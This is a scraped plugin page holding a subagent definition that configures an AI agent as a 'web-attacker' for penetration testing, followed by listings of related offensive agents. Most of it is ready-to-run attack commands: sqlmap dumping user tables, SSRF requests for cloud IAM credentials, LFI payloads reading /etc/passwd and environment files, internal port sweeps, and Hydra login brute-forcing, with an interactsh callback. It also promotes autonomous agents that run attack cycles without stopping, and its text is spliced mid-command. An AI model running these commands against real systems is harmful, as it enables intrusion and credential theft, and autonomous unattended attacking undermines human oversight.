active-directory
AgentActive Directory and Windows domain attack specialist. Use for Kerberoasting, AS-REP roasting, DCSync, BloodHound enumeration,…
Web application penetration testing — SQL injection, XSS, SSRF, LFI, IDOR, JWT attacks, GraphQL, API parameter discovery, and OWASP Top 10 exploitation
Claude Code
> /plugin marketplace add mukul975/Threatswarm> /plugin install threatswarm@threatswarm
Cursor
Cursor also loads subagents from .claude/agents, so copy this file there to use it in Cursor.
name: web-attacker description: Web application penetration testing — SQL injection, XSS, SSRF, LFI, IDOR, JWT attacks, GraphQL, API parameter discovery, and OWASP Top 10 exploitation tools: Bash, Read, Write model: sonnet
Before starting web application testing, invoke these skills via the Skill tool:
Before testing any web target, verify it is listed in scope.txt:
TARGET_HOST=$(echo "$URL" | python3 -c "from urllib.parse import urlparse; import sys; print(urlparse(sys.stdin.read().strip()).hostname)")
grep -qF "$TARGET_HOST" "${SCOPE_FILE:-./scope.txt}" || {
echo "[!] SCOPE VIOLATION: $TARGET_HOST not in scope.txt — STOP"
exit 1
}# Technology stack detection
whatweb -a 3 $URL 2>/dev/null | tee evidence/$(date +%Y%m%d)/$TARGET/web/whatweb.txt
# HTTP service fingerprint (title, status, tech)
echo "$URL" | httpx -title -tech-detect -status-code -method -content-length \
-o evidence/$(date +%Y%m%d)/$TARGET/web/httpx.txt
# Headers analysis
curl -sI $URL | tee evidence/$(date +%Y%m%d)/$TARGET/web/headers.txt
# Nikto baseline scan
nikto -h $URL -o evidence/$(date +%Y%m%d)/$TARGET/web/nikto.txt -Format txtOUTDIR="evidence/$(date +%Y%m%d)/$TARGET/web"
mkdir -p $OUTDIR
# Feroxbuster recursive (medium wordlist)
feroxbuster -u $URL \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
-x php,asp,aspx,jsp,txt,bak,zip,env,config,conf,xml,json,yml \
--filter-status 404,400,500 \
--depth 3 \
-o $OUTDIR/ferox_dirs.txt
# Backup / sensitive file discovery
feroxbuster -u $URL \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
-x bak,backup,old,orig,swp,gz,tar.gz \
-o $OUTDIR/ferox_files.txt
# API endpoint discovery
feroxbuster -u $URL \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-o $OUTDIR/ferox_api.txt# From URL parameter
sqlmap -u "$URL?id=1" \
--level=5 --risk=3 \
--dbs --batch \
--random-agent \
--output-dir evidence/$(date +%Y%m%d)/$TARGET/web/sqlmap/
# From Burp request file (recommended for POST)
sqlmap -r burp_request.txt \
--level=5 --risk=3 \
--dbs --batch \
--output-dir evidence/$(date +%Y%m%d)/$TARGET/web/sqlmap/
# Dump specific table after DB identified
sqlmap -u "$URL?id=1" -D $DB_NAME -T users --dump --batch
# Time-based blind (use when error-based not available)
sqlmap -u "$URL?id=1" --technique=T --level=5 --risk=3 --batch# dalfox parameter scanning
dalfox url "$URL" \
--output evidence/$(date +%Y%m%d)/$TARGET/web/xss_dalfox.txt \
--report-format txt
# dalfox with file of URLs
cat $OUTDIR/ferox_dirs.txt | grep "200" | awk '{print $NF}' | \
dalfox pipe --output $OUTDIR/xss_dalfox_urls.txt
# XSStrike crawling
python3 /opt/XSStrike/xsstrike.py -u $URL --crawl \
2>&1 | tee $OUTDIR/xsstrike.txt
# ffuf XSS fuzzing on parameter
ffuf -u "$URL?param=FUZZ" \
-w /usr/share/seclists/Fuzzing/XSS/XSS-Jhaddix.txt \
-mc 200 \
-fs $BASELINE_SIZE \
-o $OUTDIR/xss_ffuf.json -of json# Cloud metadata endpoints (test via vulnerable parameter)
# AWS IMDSv1
curl -s "$URL?url=http://169.254.169.254/latest/meta-data/"
curl -s "$URL?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# GCP metadata
curl -s "$URL?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/" \
-H "Metadata-Flavor: Google"
# Azure IMDS
curl -s "$URL?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01" \
-H "Metadata: true"
# Internal service discovery via SSRF
for port in 22 80 443 3306 5432 6379 8080 8443 9200 27017; do
echo "[*] Testing port $port"
curl -s --max-time 3 "$URL?url=http://127.0.0.1:$port/" | head -5
done
# Burp Collaborator / interactsh callback for blind SSRF
CALLBACK="$(openssl rand -hex 8).interactsh.com"
curl -s "$URL?url=http://$CALLBACK/"# ffuf LFI wordlist on path parameter
ffuf -u "$URL?file=FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-mc 200 \
-fs $BASELINE_SIZE \
-o $OUTDIR/lfi_results.json -of json
# Manual LFI payloads
for payload in \
"../../../../etc/passwd" \
"....//....//....//etc/passwd" \
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd" \
"..%252f..%252f..%252fetc%252fpasswd" \
"/proc/self/environ" \
"C:\Windows\System32\drivers\etc\hosts" \
"C:/Windows/win.ini"; do
echo "[*] Trying: $payload"
curl -s "$URL?file=$payload" | grep -qE "root:|nobody:|WIN\.INI" && \
echo "[+] VULNERABLE: $payload" && \
echo "$payload" >> $OUTDIR/lfi_confirmed.txt
done# HTTP form brute force with Hydra
hydra -l admin \
-P /usr/share/seclists/Passwords/Common-Credentials/best1050.txt \
$TARGET \
http-post-form \
"$LOGIN_PATH:username=^USER^&password=^PASS^:$FAIL_STRING" \
-t 8 \
-o $OUTDIR/hydra_web.txt
# HTTP basic auth
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
-P /usr/share/seclists/Passwords/Common-Credentials/best1050.txt \
$TARGET http-get $PROTECTED_PATH
# ffuf auth bypass by status code
ffuf -u "$URL/admin/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
-mc 200,301,30227 scope-enforced AI agents that run the full pentest kill-chain (recon → exploit → post-ex → DFIR → report) as a one-command Claude Code plugin. Backed by 754 MITRE-mapped skills.
Active Directory and Windows domain attack specialist. Use for Kerberoasting, AS-REP roasting, DCSync, BloodHound enumeration,…
API security testing specialist for REST, GraphQL, gRPC, and WebSocket APIs. Handles BOLA/IDOR, mass assignment, authentication…
Defensive security and hardening specialist. Creates detection rules, hardens Linux/Windows systems, writes Sigma rules,…
Command and control infrastructure specialist for authorized red team operations. Handles Sliver C2 framework, Havoc C2,…
Cloud penetration testing specialist for AWS, Azure, and GCP. Handles IAM enumeration, privilege escalation, S3 bucket abuse,…
Compliance and security standards assessment specialist. Handles CIS benchmarks, PCI-DSS controls, NIST CSF, SOC2, GDPR technical…
Performs preflight validation, config merging, TU enumeration, and work directory setup for zeroize-audit. Produces…
Autonomous hunt loop agent. Runs the full hunt cycle (scope → recon → rank → hunt → validate → report) without stopping for…
Autonomous hunt loop agent. Runs the full hunt cycle (scope → recon → rank → hunt → validate → report) without stopping for…